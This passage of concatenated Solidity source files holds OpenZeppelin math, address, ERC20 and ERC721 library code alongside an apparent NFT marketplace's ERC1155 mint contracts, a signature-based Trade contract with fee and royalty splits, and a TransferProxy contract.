reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "../ERC1155/BaseEnigmaNFT1155.sol"; /// @title TestEnigmaNFT1155 /// /// @dev This contract extends from BaseEnigmaNFT1155 for upgradeablity testing contract TestEnigmaNFT1155 is BaseEnigmaNFT1155 { event CollectibleCreated(uint256 tokenId); /** * @notice public function to mint a new token. * @param uri_ string memory URI of the token to be minted. * @param supply_ tokens amount to be minted * @param fee_ uint256 royalty of the token to be minted. */ function mint( string memory uri_, uint256 supply_, uint256 fee_ ) external { uint256 tokenCounter = newItemId; newItemId = newItemId + 1; emit CollectibleCreated(tokenCounter); _mint(tokenCounter, supply_, uri_, fee_); } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./BaseEnigmaNFT1155.sol"; /// @title EnigmaUserToken1155 /// /// @dev This contract extends from BaseEnigmaNFT1155 contract EnigmaUserToken1155 is BaseEnigmaNFT1155 { /// oz-upgrades-unsafe-allow constructor // solhint-disable-next-line constructor() initializer {} /** * @notice public function to mint a new token. * @param uri_ string memory URI of the token to be minted. * @param supply_ tokens amount to be minted * @param fee_ uint256 royalty of the token to be minted. */ function mint( string memory uri_, uint256 supply_, uint256 fee_ ) external { uint256 tokenCounter = newItemId; newItemId = newItemId + 1; _mint(tokenCounter, supply_, uri_, fee_); } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./BaseEnigmaNFT1155.sol"; /// @title EnigmaNFT1155 /// /// @dev This contract extends from BaseEnigmaNFT1155 contract EnigmaNFT1155 is BaseEnigmaNFT1155 { struct Sign { uint8 v; bytes32 r; bytes32 s; } /// oz-upgrades-unsafe-allow constructor // solhint-disable-next-line constructor() initializer {} /** * @notice Internal function to verify a sign to mint tokens * Reverts if the sign verification fails. * @param tokenURI_ string memory URI of the token to be minted. * @param sign_ struct combination of uint8, bytes32, bytes32 are v, r, s. */ function verifySign(string memory tokenURI_, Sign memory sign_) internal view { bytes32 hash = keccak256(abi.encodePacked(this, tokenURI_)); require( owner() == ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign_.v, sign_.r, sign_.s ), "Owner sign verification failed" ); } /** * @notice public function to mint a new token. * @param uri_ string memory URI of the token to be minted. * @param supply_ tokens amount to be minted * @param fee_ uint256 royalty of the token to be minted. * @param sign_ struct combination of uint8, bytes32, bytes32 are v, r, s. */ function mint( string memory uri_, uint256 supply_, uint256 fee_, Sign memory sign_ ) external { uint256 tokenCounter = newItemId; verifySign(uri_, sign_); newItemId = newItemId + 1; _mint(tokenCounter, supply_, uri_, fee_); } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/ITransferProxy.sol"; import "./interfaces/IRoyaltyAwareNFT.sol"; contract Trade { using SafeMath for uint256; enum BuyingAssetType { ERC1155, ERC721 } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event SellerFee(uint8 sellerFee); event BuyerFee(uint8 buyerFee); event BuyAsset(address indexed assetOwner, uint256 indexed tokenId, uint256 quantity, address indexed buyer); event ExecuteBid(address indexed assetOwner, uint256 indexed tokenId, uint256 quantity, address indexed buyer); uint8 private buyerFeePermille; uint8 private sellerFeePermille; ITransferProxy public transferProxy; address public owner; struct Fee { uint256 platformFee; uint256 assetFee; uint256 royaltyFee; uint256 price; address tokenCreator; } /* An ECDSA signature. */ struct Sign { uint8 v; bytes32 r; bytes32 s; } struct Order { address seller; address buyer; address erc20Address; address nftAddress; BuyingAssetType nftType; uint256 unitPrice; uint256 amount; uint256 tokenId; uint256 qty; } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } constructor( uint8 _buyerFee, uint8 _sellerFee, ITransferProxy _transferProxy ) { buyerFeePermille = _buyerFee; sellerFeePermille = _sellerFee; transferProxy = _transferProxy; owner = msg.sender; } function buyerServiceFee() external view virtual returns (uint8) { return buyerFeePermille; } function sellerServiceFee() external view virtual returns (uint8) { return sellerFeePermille; } function setBuyerServiceFee(uint8 _buyerFee) external onlyOwner returns (bool) { buyerFeePermille = _buyerFee; emit BuyerFee(buyerFeePermille); return true; } function setSellerServiceFee(uint8 _sellerFee) external onlyOwner returns (bool) { sellerFeePermille = _sellerFee; emit SellerFee(sellerFeePermille); return true; } function ownerTransfership(address newOwner) external onlyOwner returns (bool) { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; return true; } function getSigner(bytes32 hash, Sign memory sign) internal pure returns (address) { return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s); } function verifySellerSignature( address seller, uint256 tokenId, uint256 amount, address paymentAssetAddress, address assetAddress, Sign memory sign ) internal pure { bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount)); require(seller == getSigner(hash, sign), "seller sign verification failed"); } function verifyBuyerSignature( address buyer, uint256 tokenId, uint256 amount, address paymentAssetAddress, address assetAddress, uint256 qty, Sign memory sign ) internal pure { bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount, qty)); require(buyer == getSigner(hash, sign), "buyer sign verification failed"); } function getFees( uint256 paymentAmt, address buyingAssetAddress, uint256 tokenId ) internal view returns (Fee memory) { address tokenCreator; uint256 platformFee; uint256 royaltyFee; uint256 assetFee; uint256 royaltyPermille; uint256 price = paymentAmt.mul(1000).div((1000 + buyerFeePermille)); uint256 buyerFee = paymentAmt.sub(price); uint256 sellerFee = paymentAmt.mul(sellerFeePermille).div((1000 + buyerFeePermille)); platformFee = buyerFee.add(sellerFee); royaltyPermille = ((IRoyaltyAwareNFT(buyingAssetAddress).royaltyFee(tokenId))); tokenCreator = ((IRoyaltyAwareNFT(buyingAssetAddress).getCreator(tokenId))); royaltyFee = paymentAmt.mul(royaltyPermille).div((1000 + buyerFeePermille)); assetFee = price.sub(royaltyFee).sub(sellerFee); return Fee(platformFee, assetFee, royaltyFee, price, tokenCreator); } function tradeAsset(Order memory order, Fee memory fee) internal virtual { if (order.nftType == BuyingAssetType.ERC721) { transferProxy.erc721safeTransferFrom(order.nftAddress, order.seller, order.buyer, order.tokenId); } if (order.nftType == BuyingAssetType.ERC1155) { transferProxy.erc1155safeTransferFrom( order.nftAddress, order.seller, order.buyer, order.tokenId, order.qty, "" ); } if (fee.platformFee > 0) { transferProxy.erc20safeTransferFrom(order.erc20Address, order.buyer, owner, fee.platformFee); } if (fee.royaltyFee > 0) { transferProxy.erc20safeTransferFrom(order.erc20Address, order.buyer, fee.tokenCreator, fee.royaltyFee); } transferProxy.erc20safeTransferFrom(order.erc20Address, order.buyer, order.seller, fee.assetFee); } function buyAsset(Order memory order, Sign memory sign) public returns (bool) { Fee memory fee = getFees(order.amount, order.nftAddress, order.tokenId); require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount"); verifySellerSignature(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign); order.buyer = msg.sender; emit BuyAsset(order.seller, order.tokenId, order.qty, msg.sender); tradeAsset(order, fee); return true; } function executeBid(Order memory order, Sign memory sign) public returns (bool) { Fee memory fee = getFees(order.amount, order.nftAddress, order.tokenId); verifyBuyerSignature( order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty, sign ); order.seller = msg.sender; emit ExecuteBid(msg.sender, order.tokenId, order.qty, order.buyer); tradeAsset(order, fee); return true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; interface ITransferProxy { function erc721safeTransferFrom( address token, address from, address to, uint256 tokenId ) external; function erc1155safeTransferFrom( address token, address from, address to, uint256 id, uint256 value, bytes calldata data ) external; function erc20safeTransferFrom( address token, address from, address to, uint256 value ) external; } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/ITransferProxy.sol"; contract TransferProxy is ITransferProxy { event OperatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) external onlyOwner returns (bool) { require(_operator != address(0), "Operator: new operator is the zero address"); emit OperatorChanged(operator, _operator); operator = _operator; return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) external onlyOwner returns (bool) { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; return true; } function erc721safeTransferFrom( address token, address from, address to, uint256 tokenId ) external override onlyOperator { IERC721Upgradeable(token).safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom( address token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data ) external override onlyOperator { IERC1155Upgradeable(token).safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom( address token, address from, address to, uint256 value ) external override onlyOperator { require(IERC20(token).transferFrom(from, to, value), "failure while transferring"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an 